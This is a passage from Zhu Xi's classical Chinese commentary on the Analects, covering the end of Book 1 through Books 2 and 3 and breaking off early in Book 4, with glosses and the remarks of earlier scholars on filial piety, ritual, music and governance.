也。聖人過化存神之妙、未易窺測、然即此而觀、則其德盛禮恭而不願乎外、亦可見矣。學者所當潛心而勉學也。謝氏曰學者觀於聖人威儀之間、亦可以進德矣。若子貢亦可謂善觀聖人矣、亦可謂善言德行矣。今去聖人千五百年、以此五者想見其形容、尚能使人興起、而況於親炙之者乎。張敬夫曰夫子至是邦必聞其政、而未有能委國而授之以政者。蓋見聖人之儀刑而樂告之者、秉彝好德之良心也、而私欲害之、是以終不能用耳。\n子曰父在、觀其志。父沒、觀其行。三年無改於父之道、可謂孝矣。行、去聲。○父在、子不得自專、而志則可知。父沒、然後其行可見。故觀此足以知其人之善惡、然又必能三年無改於父之道、乃見其孝、不然、則所行雖善、亦不得為孝矣。○尹氏曰如其道、雖終身無改可也。如其非道、何待三年。然則三年無改者、孝子之心有所不忍故也。游氏曰三年無改、亦謂在所當改而可以未改者耳。\n有子曰禮之用、和為貴。先王之道斯為美、小大由之。禮者、天理之節文、人事之儀則也。和者、從容不迫之意。蓋禮之為體雖嚴、而皆出於自然之理、故其為用、必從容而不迫、乃為可貴。先王之道、此其所以為美、而小事大事無不由之也。有所不行、知和而和、不以禮節之、亦不可行也。承上文而言、如此而復有所不行者、以其徒知和之為貴而一於和、不復以禮節之、則亦非復理之本然矣、所以流蕩忘反、而亦不可行也。程子曰禮勝則離、故禮之用和為貴。先王之道以斯為美、而小大由之。樂勝則流、故有所不行者、知和而和、不以禮節之、亦不可行。范氏曰凡禮之體主於敬、而其用則以和為貴。敬者、禮之所以立也。和者、樂之所由生也。若有子可謂達禮樂之本矣。愚謂嚴而泰、和而節、此理之自然、禮之全體也。毫釐有差、則失其中正、而各倚於一偏、其不可行均矣。\n有子曰信近於義、言可復也。恭近於禮、遠恥辱也。因不失其親、亦可宗也。近、遠、皆去聲。信、約信也。義者、事之宜也。復、踐言也。恭、致敬也。禮、節文也。因、猶依也。宗、猶主也。言約信而合其宜、則言必可踐矣。致恭而中其節、則能遠恥辱矣。所依者不失其可親之人、則亦可以宗而主之矣。此言人之言行交際、皆當謹之於始而慮其所終、不然、則因仍苟且之間、將有不勝其自失之悔者矣。\n子曰君子食無求飽、居無求安、敏於事而慎於言、就有道而正焉、可謂好學也已。好、去聲。不求安飽者、志有在而不暇及也。敏於事者、勉其所不足。慎於言者、不敢盡其所有餘也。然猶不敢自是、而必就有道之人、以正其是非、則可謂好學矣。凡言道者、皆謂事物當然之理、人之所共由者也。尹氏曰君子之學、能是四者、可謂篤志力行者矣。然不取正於有道、未免有差、如楊墨學仁義而差者也、其流至於無父無君、謂之好學可乎。\n子貢曰貧而無諂、富而無驕、何如。子曰可也。未若貧而樂、富而好禮者也。樂、音洛。好、去聲。諂、卑屈也。驕、矜肆也。常人溺於貧富之中、而不知所以自守、故必有二者之病。無諂無驕、則知自守矣、而未能超乎貧富之外也。凡曰可者、僅可而有所未盡之辭也。樂則心廣體胖而忘其貧、好禮則安處善、樂循理、亦不自知其富矣。子貢貨殖、蓋先貧後富、而嘗用力於自守者、故以此為問。而夫子答之如此、蓋許其所已能、而勉其所未至也。子貢曰詩云『如切如磋、如琢如磨。』其斯之謂與。磋、七多反。與、平聲。詩衛風淇澳之篇、言治骨角者、既切之而復磋之。治玉石者、既琢之而復磨之。治之已精、而益求其精也。子貢自以無諂無驕為至矣、聞夫子之言、又知義理之無窮、雖有得焉、而未可遽自足也、故引是詩以明之。子曰賜也、始可與言詩已矣告諸往而知來者。往者、其所已言者。來者、其所未言者。愚按此章問答、其淺深高下、固不待辨說而明矣。然不切則磋無所施、不琢則磨無所措。故學者雖不可安於小成、而不求造道之極致。亦不可騖於虛遠、而不察切己之實病也。\n子曰不患人之不己知、患不知人也。尹氏曰君子求在我者、故不患人之不己知。不知人、則是非邪正或不能辨、故以為患也。\n為政第二凡二十四章。\n子曰為政以德、譬如北辰、居其所而眾星共之。共、音拱、亦作拱。政之為言正也、所以正人之不正也。德之為言得也、得於心而不失也。北辰、北極、天之樞也。居其所、不動也。共、向也、言眾星四面旋繞而歸向之也。為政以德、則無為而天下歸之、其象如此。程子曰為政以德、然後無為。范氏曰為政以德、則不動而化、不言而信、無為而成。所守者至簡而能御煩、所處者至靜而能制動、所務者至寡而能服眾。\n子曰詩三百、一言以蔽之、曰『思無邪』。詩三百十一篇、言三百者、舉大數也。蔽、猶蓋也。思無邪、魯頌駉篇之辭。凡詩之言、善者可以感發人之善心、惡者可以懲創人之逸志、其用歸於使人得其情性之正而已。然其言微婉、且或各因一事而發、求其直指全體、則未有若此之明且盡者。故夫子言詩三百篇、而惟此一言足以盡蓋其義、其示人之意亦深切矣。程子曰『思無邪』者、誠也。范氏曰學者必務知要、知要則能守約、守約則足以盡博矣。經禮三百、曲禮三千、亦可以一言以蔽之、曰『毋不敬』。\n子曰道之以政、齊之以刑、民免而無恥。道、音導、下同。道、猶引導、謂先之也。政、謂法制禁令也。齊、所以一之也。道之而不從者、有刑以一之也。免而無恥、謂苟免刑罰。而無所羞愧、蓋雖不敢為惡、而為惡之心未嘗忘也。道之以德、齊之以禮、有恥且格。禮、謂制度品節也。格、至也。言躬行以率之、則民固有所觀感而興起矣、而其淺深厚薄之不一者、又有禮以一之、則民恥於不善、而又有以至於善也。一說、格、正也。書曰格其非心。愚謂政者、為治之具。刑者、輔治之法。德禮則所以出治之本、而德又禮之本也。此其相為終始、雖不可以偏廢、然政刑能使民遠罪而已、德禮之效、則有以使民日遷善而不自知。故治民者不可徒恃其末、又當深探其本也。\n子曰吾十有五而志于學、古者十五而入大學。心之所之謂之志。此所謂學、即大學之道也。志乎此、則念念在此而為之不厭矣。三十而立、有以自立、則守之固而無所事志矣。四十而不惑、於事物之所當然、皆無所疑、則知之明而無所事守矣。五十而知天命、天命、即天道之流行而賦於物者、乃事物所以當然之故也。知此則知極其精、而不惑又不足言矣。六十而耳順、聲入心通、無所違逆、知之之至、不思而得也。七十而從心所欲、不踰矩。從、如字。從、隨也。矩、法度之器、所以為方者也。隨其心之所欲、而自不過於法度、安而行之、不勉而中也。程子曰孔子生而知之也、言亦由學而至、所以勉進後人也。立、能自立於斯道也。不惑、則無所疑矣。知天命、窮理盡性也。耳順、所聞皆通也。從心所欲、不踰矩、則不勉而中矣。又曰孔子自言其進德之序如此者、聖人未必然、但為學者立法、使之盈科而後進、成章而後達耳。胡氏曰聖人之教亦多術、然其要使人不失其本心而已。欲得此心者、惟志乎聖人所示之學、循其序而進焉。至於一疵不存、萬理明盡之後、則其日用之間、本心瑩然、隨所意欲、莫非至理。蓋心即體、欲即用、體即道、用即義、聲為律而身為度矣。又曰聖人言此、一以示學者當優游●泳、不可躐等而進。二以示學者當日就月將、不可半途而廢也。愚謂聖人生知安行、固無積累之漸、然其心未嘗自謂已至此也。是其日用之間、必有獨覺其進而人不及知者。故因其近似以自名、欲學者以是為則而自勉、非心實自聖而姑為是退託也。後凡言謙辭之屬、意皆放此。\n孟懿子問孝。子曰無違。孟懿子、魯大夫仲孫氏、名何忌。無違、謂不背於理。樊遲御、子告之曰孟孫問孝於我、我對曰『無違』。樊遲、孔子弟子、名須。御、為孔子御車也。孟孫、即仲孫也。夫子以懿子未達而不能問、恐其失指、而以從親之令為孝、故語樊遲以發之。樊遲曰何謂也。子曰生、事之以禮。死、葬之以禮、祭之以禮。生事葬祭、事親之始終具矣。禮、即理之節文也。人之事親、自始至終、一於禮而不苟、其尊親也至矣。是時三家僭禮、故夫子以是警之、然語意渾然、又若不專為三家發者、所以為聖人之言也。胡氏曰人之欲孝其親、心雖無窮、而分則有限。得為而不為、與不得為而為之、均於不孝。所謂以禮者、為其所得為者而已矣。\n孟武伯問孝。子曰父母唯其疾之憂。武伯、懿子之子、名彘。言父母愛子之心、無所不至、惟恐其有疾病、常以為憂也。人子體此、而以父母之心為心、則凡所以守其身者、自不容於不謹矣、豈不可以為孝乎。舊說、人子能使父母不以其陷於不義為憂、而獨以其疾為憂、乃可謂孝。亦通。\n子游問孝。子曰今之孝者、是謂能養。至於犬馬、皆能有養。不敬、何以別乎。養、去聲。別、彼列反。子游、孔子弟子、姓言、名偃。養、謂飲食供奉也。犬馬待人而食、亦若養然。言人畜犬馬、皆能有以養之、若能養其親而敬不至、則與養犬馬者何異。甚言不敬之罪、所以深警之也。胡氏曰世俗事親、能養足矣。狎恩恃愛、而不知其漸流於不敬、則非小失也。子游聖門高弟、未必至此、聖人直恐其愛踰於敬、故以是深警發之也。\n子夏問孝。子曰色難。有事弟子服其勞、有酒食先生饌、曾是以為孝乎。食、音嗣。色難、謂事親之際、惟色為難也。食、飯也。先生、父兄也。饌、飲食之也。曾、猶嘗也。蓋孝子之有深愛者、必有和氣。有和氣者、必有愉色。有愉色者、必有婉容。故事親之際、惟色為難耳、服勞奉養未足為孝也。舊說、承順父母之色為難、亦通。程子曰告懿子、告眾人者也。告武伯者、以其人多可憂之事。子游能養而或失於敬、子夏能直義而或少溫潤之色。各因其材之高下、與其所失而告之、故不同也。\n子曰吾與回言終日、不違如愚。退而省其私、亦足以發。回也不愚。回、孔子弟子、姓顏。字子淵。不違者、意不相背、有聽受而無問難也。私、謂燕居獨處、非進見請問之時。發、謂發明所言之理。愚聞之師曰顏子深潛純粹、其於聖人體段已具。其聞夫子之言、默識心融、觸處洞然、自有條理。故終日言、但見其不違如愚人而已。及退省其私、則見其日用動靜語默之間、皆足以發明夫子之道、坦然由之而無疑、然後知其不愚也。\n子曰視其所以、以、為也。為善者為君子、為惡者為小人。觀其所由、觀、比視為詳矣。由、從也。事雖為善、而意之所從來者有未善焉、則亦不得為君子矣。或曰由、行也。謂所以行其所為者也。察其所安。察、則又加詳矣。安、所樂也。所由雖善、而心之所樂者不在於是、則亦偽耳、豈能久而不變哉。人焉廋哉。人焉廋哉。焉、於虔反。廋、所留反。焉、何也。廋、匿也。重言以深明之。程子曰在己者能知言窮理、則能以此察人如聖人也。\n子曰溫故而知新、可以為師矣。溫、尋繹也。故者、舊所聞。新者、今所得。言學能時習舊聞、而每有新得、則所學在我、而其應不窮、故可以為人師。若夫記問之學、則無得於心、而所知有限、故學記譏其不足以為人師、正與此意互相發也。\n子曰君子不器。器者、各適其用而不能相通。成德之士、體無不具、故用無不周、非特為一才一藝而已。\n子貢問君子。子曰先行其言而後從之。周氏曰先行其言者、行之於未言之前。而後從之者、言之於既行之後。范氏曰子貢之患、非言之艱而行之艱、故告之以此。\n子曰君子周而不比、小人比而不周。周、普遍也。比、偏黨也。皆與人親厚之意、但周公而比私耳。君子小人所為不同、如陰陽晝夜、每每相反。然究其所以分、則在公私之際、毫釐之差耳。故聖人於周比、和同、驕泰之屬、常對舉而互言之、欲學者察乎兩閒、而審其取舍之幾也。\n子曰學而不思則罔、思而不學則殆。不求諸心、故昏而無得。不習其事、故危而不安。程子曰博學、審問、慎思、明辨、篤行五者、廢其一、非學也。\n子曰攻乎異端、斯害也已范氏曰攻、專治也、故治木石金玉之工曰攻。異端、非聖人之道、而別為一端、如楊墨是也。其率天下至於無父無君、專治而欲精之、為害甚矣程子曰佛氏之言、比之楊墨、尤為近理、所以其害為尤甚。學者當如淫聲美色以遠之、不爾、則駸駸然入於其中矣。\n子曰由誨女知之乎。知之為知之、不知為不知、是知也。女、音汝。由、孔子弟子、姓仲、字子路。子路好勇、蓋有強其所不知以為知者、故夫子告之曰我教女以知之之道乎但所知者則以為知、所不知者則以為不知。如此則雖或不能盡知、而無自欺之蔽、亦不害其為知矣。況由此而求之、又有可知之理乎。\n子張學干祿。子張、孔子弟子、姓顓孫、名師。干、求也。祿、仕者之奉也。子曰多聞闕疑、慎言其餘、則寡尤。多見闕殆、慎行其餘、則寡悔。言寡尤、行寡悔、祿在其中矣。行寡之行、去聲。呂氏曰疑者所未信、殆者所未安。程子曰尤、罪自外至者也。悔、理自內出者也。愚謂多聞見者學之博、闕疑殆者擇之精、慎言行者守之約。凡言在其中者、皆不求而自至之辭。言此以救子張之失而進之也。程子曰修天爵則人爵至、君子言行能謹、得祿之道也。子張學干祿、故告之以此、使定其心而不為利祿動、若顏閔則無此問矣。或疑如此亦有不得祿者、孔子蓋曰耕也餒在其中、惟理可為者為之而已矣。\n哀公問曰何為則民服。孔子對曰舉直錯諸枉、則民服。舉枉錯諸直、則民不服。哀公、魯君、名蔣。凡君問、皆稱孔子對曰者、尊君也。錯、捨置也。諸、眾也。程子曰舉錯得義、則人心服。謝氏曰好直而惡枉、天下之至情也。順之則服、逆之則去、必然之理也。然或無道以照之、則以直為枉、以枉為直者多矣、是以君子大居敬而貴窮理也。\n季康子問使民敬、忠以勸、如之何。子曰臨之以莊則敬、孝慈則忠、舉善而教不能則勸。季康子、魯大夫季孫氏、名肥。莊、謂容貌端嚴也。臨民以莊、則民敬於己。孝於親、慈於眾、則民忠於己。善者舉之而不能者教之、則民有所勸而樂於為善。張敬夫曰此皆在我所當為、非為欲使民敬忠以勸而為之也。然能如是、則其應蓋有不期然而然者矣。\n或謂孔子曰子奚不為政。定公初年、孔子不仕、故或人疑其不為政也。子曰書云『孝乎惟孝、友于兄弟、施於有政。』是亦為政、奚其為為政。書周書君陳篇。書云孝乎者、言書之言孝如此也。善兄弟曰友。書言君陳能孝於親、友於兄弟、又能推廣此心、以為一家之政。孔子引之、言如此、則是亦為政矣、何必居位乃為為政乎。蓋孔子之不仕、有難以語或人者、故託此以告之、要之至理亦不外是。\n子曰人而無信、不知其可也。大車無輗、小車無軏、其何以行之哉。輗、五兮反。軏、音月。大車、謂平地任載之車。輗、轅端橫木、縛軛以駕牛者。小車、謂田車、兵車、乘車。軏、轅端上曲、鉤衡以駕馬者。車無此二者、則不可以行、人而無信、亦猶是也。\n子張問十世可知也。陸氏曰也、一作乎。王者易姓受命為一世。子張問自此以後、十世之事、可前知乎。子曰殷因於夏禮、所損益、可知也。周因於殷禮、所損益、可知也。其或繼周者、雖百世可知也。馬氏曰所因、謂三綱五常。所損益、謂文質三統。愚按三綱、謂君為臣綱、父為子綱、夫為妻綱。五常、謂仁、義、禮、智、信。文質、謂夏尚忠、商尚質、周尚文。三統、謂夏正建寅為人統、商正建丑為地統、周正建子為天統。三綱五常、禮之大體、三代相繼、皆因之而不能變。其所損益、不過文章制度小過不及之間、而其已然之跡、今皆可見。則自今以往、或有繼周而王者、雖百世之遠、所因所革、亦不過此、豈但十世而已乎聖人所以知來者蓋如此、非若後世讖緯術數之學也。胡氏曰子張之問、蓋欲知來、而聖人言其既往者以明之也。夫自修身以至於為天下、不可一日而無禮。天敘天秩、人所共由、禮之本也。商不能改乎夏、周不能改乎商、所謂天地之常經也。若乃制度文為、或太過則當損、或不足則當益、益之損之。與時宜之、而所因者不壞、是古今之通義也。因往推來、雖百世之遠、不過如此而已矣。\n子曰非其鬼而祭之、諂也。非其鬼、謂非其所當祭之鬼。諂、求媚也。見義不為、無勇也。知而不為、是無勇也。\n論語集注卷二\n八佾第三凡二十六章。通前篇末二章、皆論禮樂之事。\n孔子謂季氏八佾舞於庭、是可忍也、孰不可忍也。佾、音逸。季氏、魯大夫季孫氏也。佾、舞列也、天子八、諸侯六、大夫四、士二。每佾人數、如其佾數。或曰每佾八人。未詳孰是。季氏以大夫而僭用天子之樂、孔子言其此事尚忍為之、則何事不可忍為。或曰忍、容忍也。蓋深疾之之辭。范氏曰樂舞之數、自上而下、降殺以兩而已、故兩之間、不可以毫髮僭差也。孔子為政、先正禮樂、則季氏之罪不容誅矣。謝氏曰君子於其所不當為不敢須臾處、不忍故也。而季氏忍此矣、則雖弒父與君、亦何所憚而不為乎。\n三家者以雍徹。子曰『相維辟公、天子穆穆』、奚取於三家之堂。徹、直列反。相、去聲。三家、魯大夫孟孫、叔孫、季孫之家也。雍、周頌篇名。徹、祭畢而收其俎也。天子宗廟之祭、則歌雍以徹、是時三家僭而用之。相、助也。辟公、諸侯也。穆穆、深遠之意、天子之容也。此雍詩之辭、孔子引之、言三家之堂非有此事、亦何取於此義而歌之乎。譏其無知妄作、以取僭竊之罪。程子曰周公之功固大矣、皆臣子之分所當為、魯安得獨用天子禮樂哉。成王之賜、伯禽之受、皆非也。其因襲之弊、遂使季氏僭八佾、三家僭雍徹、故仲尼譏之。\n子曰人而不仁、如禮何。人而不仁、如樂何。游氏曰人而不仁、則人心亡矣、其如禮樂何哉。言雖欲用之、而禮樂不為之用也。程子曰仁者天下之正理。失正理、則無序而不和。李氏曰禮樂待人而後行、苟非其人、則雖玉帛交錯、鐘鼓鏗鏘、亦將如之何哉。然記者序此於八佾雍徹之後、疑其為僭禮樂者發也。\n林放問禮之本。林放、魯人。見世之為禮者、專事繁文、而疑其本之不在是也、故以為問。子曰大哉問孔子以時方逐末、而放獨有志於本、故大其問。蓋得其本、則禮之全體無不在其中矣。禮、與其奢也、寧儉。喪、與其易也、寧戚。易、去聲。易、治也。孟子曰易其田疇。在喪禮、則節文習熟、而無哀痛慘怛之實者也。戚則一於哀、而文不足耳。禮貴得中、奢易則過於文、儉戚則不及而質、二者皆未合禮。然凡物之理、必先有質而後有文、則質乃禮之本也。范氏曰夫祭與其敬不足而禮有餘也、不若禮不足而敬有餘也、喪與其哀不足而禮有餘也、不若禮不足而哀有餘也。禮失之奢、喪失之易、皆不能反本、而隨其末故也。禮奢而備、不若儉而不備之愈也。喪易而文、不若戚而不文之愈也。儉者物之質、戚者心之誠、故為禮之本。楊氏曰禮始諸飲食、故汙尊而抔飲、為之簠、簋、籩、豆、罍、爵之飾、所以文之也、則其本儉而已。喪不可以徑情而直行、為之衰麻哭踴之數、所以節之也、則其本戚而已。周衰、世方以文滅質、而林放獨能問禮之本、故夫子大之、而告之以此。\n子曰夷狄之有君、不如諸夏之亡也。吳氏曰亡、古無字、通用。程子曰夷狄且有君長、不如諸夏之僭亂、反無上下之分也。尹氏曰孔子傷時之亂而歎之也。亡、非實亡也、雖有之、不能盡其道爾。\n季氏旅於泰山。子謂冉有曰女弗能救與。對曰不能。子曰嗚呼曾謂泰山、不如林放乎。女、音汝。與、平聲。旅、祭名。泰山、山名、在魯地。禮、諸侯祭封內山川、季氏祭之、僭也。冉有、孔子弟子、名求、時為季氏宰。救、謂救其陷於僭竊之罪。嗚呼、歎辭。言神不享非禮、欲季氏知其無益而自止、又進林放以厲冉有也。范氏曰冉有從季氏、夫子豈不知其不可告也、然而聖人不輕絕人。盡己之心、安知冉有之不能救、季氏之不可諫也。既不能正、則美林放以明泰山之不可誣、是亦教誨之道也。\n子曰君子無所爭、必也射乎揖讓而升、下而飲、其爭也君子。飲、去聲。揖讓而升者、大射之禮、耦進三揖而後升堂也。下而飲、謂射畢揖降、以俟眾耦皆降、勝者乃揖不勝者升、取觶立飲也。言君子恭遜不與人爭、惟於射而後有爭。然其爭也、雍容揖遜乃如此、則其爭也君子、而非若小人之爭矣。\n子夏問曰『巧笑倩兮、美目盼兮、素以為絢兮。』何謂也。倩、七練反。盼、普莧反。絢、呼縣反。此逸詩也。倩、好口輔也。盼、目黑白分也。素、粉地、畫之質也。絢、采色、畫之飾也。言人有此倩盼之美質、而又加以華采之飾、如有素地而加采色也。子夏疑其反謂以素為飾、故問之。子曰繪事後素。繪、胡對反。繪事、繪畫之事也。後素、後於素也。考工記曰繪畫之事後素功。謂先以粉地為質、而後施五采、猶人有美質、然後可加文飾。曰禮後乎。子曰起予者商也始可與言詩已矣。禮必以忠信為質、猶繪事必以粉素為先。起、猶發也。起予、言能起發我之志意。謝氏曰子貢因論學而知詩、子夏因論詩而知學、故皆可與言詩。楊氏曰『甘受和、白受采、忠信之人、可以學禮。苟無其質、禮不虛行』。此『繪事後素』之說也。孔子曰『繪事後素』、而子夏曰『禮後乎』、可謂能繼其志矣。非得之言意之表者能之乎。商賜可與言詩者以此。若夫玩心於章句之末、則其為詩也固而已矣。所謂起予、則亦相長之義也。\n子曰夏禮吾能言之、杞不足徵也。殷禮吾能言之、宋不足徵也。文獻不足故也、足則吾能徵之矣。杞、夏之後。宋、殷之後。徵、證也。文、典籍也。獻、賢也。言二代之禮、我能言之、而二國不足取以為證、以其文獻不足故也。文獻若足、則我能取之、以證君言矣。\n子曰禘自既灌而往者、吾不欲觀之矣。禘、大計反。趙伯循曰禘、王者之大祭也。王者既立始祖之廟、又推始祖所自出之帝、祀之於始祖之廟、而以始祖配之也。成王以周公有大勳勞、賜魯重祭。故得禘於周公之廟、以文王為所出之帝、而周公配之、然非禮矣。灌者、方祭之始、用鬱鬯之酒灌地、以降神也。魯之君臣、當此之時、誠意未散、猶有可觀、自此以後、則浸以懈怠而無足觀矣。蓋魯祭非禮、孔子本不欲觀、至此而失禮之中又失禮焉、故發此歎也。謝氏曰夫子嘗曰『我欲觀夏道、是故之杞、而不足徵也。我欲觀殷道、是故之宋、而不足徵也。』又曰『我觀周道、幽厲傷之、吾舍魯何適矣。魯之郊禘非禮也、周公其衰矣』考之杞宋已如彼、考之當今又如此、孔子所以深歎也。\n或問禘之說。子曰不知也。知其說者之於天下也、其如示諸斯乎指其掌。先王報本追遠之意、莫深於禘。非仁孝誠敬之至、不足以與此、非或人之所及也。而不王不禘之法、又魯之所當諱者、故以不知答之。示、與視同。指其掌、弟子記夫子言此而自指其掌、言其明且易也。蓋知禘之說、則理無不明、誠無不格、而治天下不難矣。聖人於此、豈真有所不知也哉。\n祭如在、祭神如神在。程子曰祭、祭先祖也。祭神、祭外神也。祭先主於孝、祭神主於敬。愚謂此門人記孔子祭祀之誠意。子曰吾不與祭、如不祭。與、去聲。又記孔子之言以明之。言己當祭之時、或有故不得與、而使他人攝之、則不得致其如在之誠。故雖已祭、而此心缺然、如未嘗祭也。范氏曰君子之祭、七日戒、三日齊、必見所祭者、誠之至也。是故郊則天神格、廟則人鬼享、皆由己以致之也。有其誠則有其神、無其誠則無其神、可不謹乎。吾不與祭如不祭、誠為實、禮為虛也。\n王孫賈問曰與其媚於奧、寧媚於灶、何謂也。王孫賈、衛大夫。媚、親順也。室西南隅為奧。灶者、五祀之一、夏所祭也。凡祭五祀、皆先設主而祭於其所、然後迎尸而祭於奧、略如祭宗廟之儀。如祀灶、則設主於灶陘、祭畢、而更設饌於奧以迎尸也。故時俗之語、因以奧有常尊、而非祭之主。灶雖卑賤、而當時用事。喻自結於君、不如阿附權臣也。賈、衛之權臣、故以此諷孔子。子曰不然、獲罪於天、無所禱也。天、即理也。其尊無對、非奧灶之可比也。逆理、則獲罪於天矣、豈媚於奧灶所能禱而免乎。言但當順理、非特不當媚灶、亦不可媚於奧也。謝氏曰聖人之言、遜而不迫。使王孫賈而知此意、不為無益。使其不知、亦非所以取禍。\n子曰周監於二代、郁郁乎文哉吾從周。郁、於六反。監、視也。二代、夏商也。言其視二代之禮而損益之。郁郁、文盛貌。尹氏曰三代之禮至周大備、夫子美其文而從之。\n子入大廟、每事問。或曰孰謂鄹人之子知禮乎。入大廟、每事問。子聞之曰是禮也。大、音泰。鄹、側留反。大廟、魯周公廟。此蓋孔子始仕之時、入而助祭也。鄹、魯邑名。孔子父叔梁紇、嘗為其邑大夫。孔子自少以知禮聞、故或人因此而譏之。孔子言是禮者、敬謹之至、乃所以為禮也。尹氏曰禮者、敬而已矣。雖知亦問、謹之至也、其為敬莫大於此。謂之不知禮者、豈足以知孔子哉。\n子曰射不主皮、為力不同科、古之道也。為、去聲。射不主皮、鄉射禮文。為力不同科、孔子解禮之意如此也。皮、革也、布侯而棲革於其中以為的、所謂鵠也。科、等也。古者射以觀德、但主於中、而不主於貫革、蓋以人之力有強弱、不同等也。記曰武王克商、散軍郊射、而貫革之射息。正謂此也。周衰、禮廢、列國兵爭、復尚貫革、故孔子歎之。楊氏曰中可以學而能、力不可以強而至。聖人言古之道、所以正今之失。\n子貢欲去告朔之餼羊。去、起呂反。告、古篤反。餼、許氣反。告朔之禮古者天子常以季冬、頒來歲十二月之朔于諸侯、諸侯受而藏之祖廟。月朔、則以特羊告廟、請而行之。餼、生牲也。魯自文公始不視朔、而有司猶供此羊、故子貢欲去之。子曰賜也、爾愛其羊、我愛其禮。愛、猶惜也。子貢蓋惜其無實而妄費。然禮雖廢、羊存、猶得以識之而可復焉。若併去其羊、則此禮遂亡矣、孔子所以惜之。楊氏曰告朔、諸侯所以岙命於君親、禮之大者。魯不視朔矣、然羊存則告朔之名未泯、而其實因可舉。此夫子所以惜之也。\n子曰事君盡禮、人以為諂也。黃氏曰孔子於事君之禮、非有所加也、如是而後盡爾。時人不能、反以為諂。故孔子言之、以明禮之當然也。程子曰聖人事君盡禮、當時以為諂。若他人言之、必曰我事君盡禮、小人以為諂、而孔子之言止於如此。聖人道大德宏、此亦可見。\n定公問君使臣、臣事君、如之何。孔子對曰君使臣以禮、臣事君以忠。定公、魯君、名宋。二者皆理之當然、各欲自盡而已。呂氏曰使臣不患其不忠、患禮之不至。事君不患其無禮、患忠之不足。尹氏曰君臣以義合者也。故君使臣以禮、則臣事君以忠。\n子曰關雎、樂而不淫、哀而不傷。樂、音洛。關雎、周南國風詩之首篇也。淫者、樂之過而失其正者也。傷者、哀之過而害於和者也。關雎之詩、言后妃之德、宜配君子。求之未得、則不能無寤寐反側之憂。求而得之、則宜其有琴瑟鐘鼓之樂。蓋其憂雖深而不害於和、其樂雖盛而不失其正、故夫子稱之如此。欲學者玩其辭、審其音、而有以識其性情之正也。\n哀公問社於宰我。宰我對曰夏后氏以松、殷人以柏、周人以栗、曰使民戰栗。宰我、孔子弟子、名予。三代之社不同者、古者立社、各樹其土之所宜木以為主也。戰栗、恐懼貌。宰我又言周所以用栗之意如此。豈以古者戮人於社、故附會其說與。子聞之曰成事不說、遂事不諫、既往不咎。遂事、謂事雖未成、而勢不能已者。孔子以宰我所對、非立社之本意、又啟時君殺伐之心、而其言已出、不可復救、故歷言此以深責之、欲使謹其後也。尹氏曰古者各以所宜木名其社、非取義於木也。宰我不知而妄對、故夫子責之。\n子曰管仲之器小哉管仲、齊大夫、名夷吾、相桓公霸諸侯。器小、言其不知聖賢大學之道、故局量褊淺、規模卑狹、不能正身修德以致主於王道。或曰管仲儉乎。曰管氏有三歸、官事不攝、焉得儉。焉、於虔反。或人蓋疑器小之為儉。三歸、臺名。事見說苑。攝、兼也。家臣不能具官、一人常兼數事。管仲不然、皆言其侈。然則管仲知禮乎。曰邦君樹塞門、管氏亦樹塞門。邦君為兩君之好、有反坫、管氏亦有反坫。管氏而知禮、孰不知禮。好、去聲。坫、丁念反。或人又疑不儉為知禮。屏謂之樹。塞、猶蔽也。設屏於門、以蔽內外也。好、謂好會。坫、在兩楹之間、獻酬飲畢、則反爵於其上。此皆諸侯之禮、而管仲僭之、不知禮也。愚謂孔子譏管仲之器小、其旨深矣。或人不知而疑其儉、故斥其奢以明其非儉。或又疑其知禮、故又斥其僭、以明其不知禮。蓋雖不復明言小器之所以然、而其所以小者、於此亦可見矣。故程子曰奢而犯禮、其器之小可知。蓋器大、則自知禮而無此失矣。此言當深味也。蘇氏曰自修身正家以及於國、則其本深、其及者遠、是謂大器。揚雄所謂『大器猶規矩準繩』、先自治而後治人者是也。管仲三歸反坫、桓公內嬖六人、而霸天下、其本固已淺矣。管仲死、桓公薨、天下不復宗齊。楊氏曰夫子大管仲之功而小其器。蓋非王佐之才、雖能合諸侯、正天下、其器不足稱也。道學不明、而王霸之略混為一途。故聞管仲之器小、則疑其為儉、以不儉告之、則又疑其知禮。蓋世方以詭遇為功、而不知為之範、則不悟其小宜矣。\n子語魯大師樂。曰樂其可知也始作、翕如也。從之、純如也、皦如也、繹如也、以成。語、去聲。大、音泰。從、音縱。語、告也。大師、樂官名。時音樂廢缺、故孔子教之。翕、合也。從、放也。純、和也。皦、明也。繹、相續不絕也。成、樂之一終也。謝氏曰五音六律不具、不足以為樂。翕如、言其合也。五音合矣、清濁高下、如五味之相濟而後和、故曰純如。合而和矣、欲其無相奪倫、故曰皦如、然豈宮自宮而商自商乎。不相反而相連、如貫珠可也、故曰繹如也、以成。\n儀封人請見。曰君子之至於斯也、吾未嘗不得見也。從者見之。出曰二三子、何患於喪乎。天下之無道也久矣、天將以夫子為木鐸。請見、見之之見、賢遍反。從、喪、皆去聲。儀、衛邑。封人、掌封疆之官、蓋賢而隱於下位者也。君子、謂當時賢者。至此皆得見之、自言其平日不見絕於賢者、而求以自通也。見之、謂通使得見。喪、謂失位去國、禮曰喪欲速貧是也。木鐸、金口木舌、施政教時所振、以警眾者也。言亂極當治、天必將使夫子得位設教、不久失位也。封人一見夫子而遽以是稱之、其所得於觀感之間者深矣。或曰木鐸所以祢于道路、言天使夫子失位、周流四方以行其教、如木鐸之祢于道路也。\n子謂韶、盡美矣、又盡善也。謂武、盡美矣、未盡善也。韶、舜樂。武、武王樂。美者、聲容之盛。善者、美之實也。舜紹堯致治、武王伐紂救民、其功一也、故其樂皆盡美。然舜之德、性之也、又以揖遜而有天下。武王之德、反之也、又以征誅而得天下、故其實有不同者。程子曰成湯放桀、惟有慚德、武王亦然、故未盡善。堯、舜、湯、武、其揆一也。征伐非其所欲、所遇之時然爾。\n子曰居上不寬、為禮不敬、臨喪不哀、吾何以觀之哉。居上主於愛人、故以寬為本。為禮以敬為本、臨喪以哀為本。既無其本、則以何者而觀其所行之得失哉。\n里仁第四凡二十六章。\n子曰里仁為美。擇不處仁、焉得知。處、上聲。焉、於虔反。知、去聲。里有仁厚之俗為美。擇里而不居於是焉、則失其是非之本心、而不得為知矣。\n子曰不仁者不可以久處約、不可以長處樂。仁者安仁、知者利仁。樂、音洛。知、去聲。約、窮困也。利、猶貪也、蓋深知篤好而必欲得之也。不仁之人、失其本心、久約必濫、久樂必淫。惟仁者則安其仁而無適不然、知者則利於仁而不易所守、蓋雖深淺之不同、然皆非外物所能奪矣。謝氏曰仁者心無內外遠近精粗之間、非有所存而自不亡、非有所理而自不亂、如目視而耳聽、手持而足行也。知者謂之有所見則可、謂之有所得則未可。有所存斯不亡、有所理